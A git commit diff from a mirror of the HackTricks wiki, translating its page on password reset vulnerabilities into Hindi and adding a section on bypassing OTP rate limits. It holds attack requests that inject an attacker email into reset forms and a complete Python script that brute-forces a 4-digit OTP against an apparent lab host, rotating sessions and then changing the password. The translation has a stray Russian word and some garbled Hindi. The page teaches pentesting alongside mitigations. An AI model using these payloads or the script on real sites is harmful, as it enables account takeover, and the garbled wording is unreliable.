mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to hi
This commit is contained in:
parent
a90e5a0c5b
commit
0b4c596914
@ -4,9 +4,9 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब एक उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद एक तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
|
||||
- HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब कोई उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद किसी तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
|
||||
- **Impact**: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
|
||||
- **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और प्रदान किए गए **रीसेट लिंक पर क्लिक करें**। **अपना पासवर्ड तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए** **एक तीसरे पक्ष की वेबसाइट** (जैसे Facebook या Twitter) पर जाएं। देखें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
|
||||
- **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और प्रदान किए गए **रीसेट लिंक पर क्लिक करें**। **अपने पासवर्ड को तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए** **एक तीसरे पक्ष की वेबसाइट** (जैसे Facebook या Twitter) पर जाएं। जांचें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,7 +14,7 @@
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को एक दुर्भावनापूर्ण साइट पर रीसेट लिंक को इंगित करने के लिए हेरफेर कर सकते हैं।
|
||||
- हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को हेरफेर कर सकते हैं ताकि रीसेट लिंक को एक दुर्भावनापूर्ण साइट पर इंगित किया जा सके।
|
||||
- **Impact**: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
|
||||
- **Mitigation Steps**:
|
||||
- अनुमत डोमेन की व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
|
||||
@ -27,7 +27,7 @@
|
||||
|
||||
हमलावर पासवर्ड रीसेट अनुरोध को अतिरिक्त ईमेल पैरामीटर जोड़कर रीसेट लिंक को मोड़ सकते हैं।
|
||||
|
||||
- हमलावर ईमेल को दूसरे पैरामीटर के रूप में & का उपयोग करके जोड़ें
|
||||
- & का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें।
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -39,7 +39,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
|
||||
- हमलावर का ईमेल दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -57,7 +57,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- हमलावर के ईमेल को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें।
|
||||
- हमलावर का ईमेल दूसरे पैरामीटर के रूप में जोड़ें, используя ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -71,7 +71,7 @@ POST /resetPassword
|
||||
```
|
||||
- **Mitigation Steps**:
|
||||
- सर्वर-साइड पर ईमेल पैरामीटर को सही ढंग से पार्स और मान्य करें।
|
||||
- इंजेक्शन हमलों को रोकने के लिए तैयार किए गए बयानों या पैरामीटरयुक्त क्वेरी का उपयोग करें।
|
||||
- इंजेक्शन हमलों को रोकने के लिए तैयार किए गए बयानों या पैरामीटरयुक्त क्वेरीज़ का उपयोग करें।
|
||||
- **References**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
@ -79,7 +79,7 @@ POST /resetPassword
|
||||
|
||||
## **Changing Email And Password of any User through API Parameters**
|
||||
|
||||
- हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित करके खाता क्रेडेंशियल्स बदल सकते हैं।
|
||||
- हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित कर सकते हैं ताकि खाता क्रेडेंशियल्स को बदल सकें।
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
@ -93,9 +93,9 @@ POST /api/changepass
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- पासवर्ड रीसेट अनुरोधों पर दर सीमा की कमी ईमेल बमबारी का कारण बन सकती है, उपयोगकर्ता को रीसेट ईमेल से अभिभूत कर सकती है।
|
||||
- पासवर्ड रीसेट अनुरोधों पर दर सीमा की कमी ईमेल बमबारी का कारण बन सकती है, जिससे उपयोगकर्ता को रीसेट ईमेल से अभिभूत किया जा सकता है।
|
||||
- **Mitigation Steps**:
|
||||
- IP पते या उपयोगकर्ता खाते के आधार पर दर सीमा लागू करें।
|
||||
- आईपी पते या उपयोगकर्ता खाते के आधार पर दर सीमा लागू करें।
|
||||
- स्वचालित दुरुपयोग को रोकने के लिए CAPTCHA चुनौतियों का उपयोग करें।
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
@ -103,16 +103,16 @@ POST /api/changepass
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या ब्रूट-फोर्सिंग में मदद मिल सकती है। कुछ विकल्प:
|
||||
- टाइमस्टैम्प के आधार पर
|
||||
- UserID के आधार पर
|
||||
- आधारित टाइमस्टैम्प
|
||||
- उपयोगकर्ता आईडी के आधार पर
|
||||
- उपयोगकर्ता के ईमेल के आधार पर
|
||||
- पहले नाम और अंतिम नाम के आधार पर
|
||||
- जन्म तिथि के आधार पर
|
||||
- क्रिप्टोग्राफी के आधार पर
|
||||
- **Mitigation Steps**:
|
||||
- टोकन जनरेशन के लिए मजबूत, क्रिप्टोग्राफिक विधियों का उपयोग करें।
|
||||
- भविष्यवाणी को रोकने के लिए पर्याप्त यादृच्छिकता और लंबाई सुनिश्चित करें।
|
||||
- **Tools**: टोकनों की यादृच्छिकता का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।
|
||||
- भविष्यवाणी को रोकने के लिए पर्याप्त यादृता और लंबाई सुनिश्चित करें।
|
||||
- **Tools**: टोकनों की यादृता का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
@ -123,7 +123,7 @@ uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Mitigation Steps**:
|
||||
- यादृच्छिकता के लिए GUID संस्करण 4 का उपयोग करें या अन्य संस्करणों के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- यादृता के लिए GUID संस्करण 4 का उपयोग करें या अन्य संस्करणों के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- **Tools**: GUIDs का विश्लेषण और उत्पन्न करने के लिए [guidtool](https://github.com/intruder-io/guidtool) का उपयोग करें।
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
@ -131,7 +131,7 @@ uuid-insecurities.md
|
||||
- त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
|
||||
- **Mitigation Steps**:
|
||||
- प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
|
||||
- मैन-इन-द-मिडल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- मैन-इन-द-मिडिल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
@ -166,6 +166,70 @@ uuid-insecurities.md
|
||||
- **Mitigation Steps**:
|
||||
- रीसेट टोकनों के लिए एक उचित समाप्ति समय निर्धारित करें और इसे सर्वर-साइड पर सख्ती से लागू करें।
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- यदि वेबसाइट उपयोगकर्ता सत्र का उपयोग गलत OTP प्रयासों को ट्रैक करने के लिए कर रही है और OTP कमजोर था (<= 4 अंक) तो हम प्रभावी रूप से OTP को ब्रूटफोर्स कर सकते हैं।
|
||||
- **exploitation**:
|
||||
- सर्वर द्वारा अवरुद्ध होने के बाद बस एक नया सत्र टोकन अनुरोध करें।
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
Loading…
x
Reference in New Issue
Block a user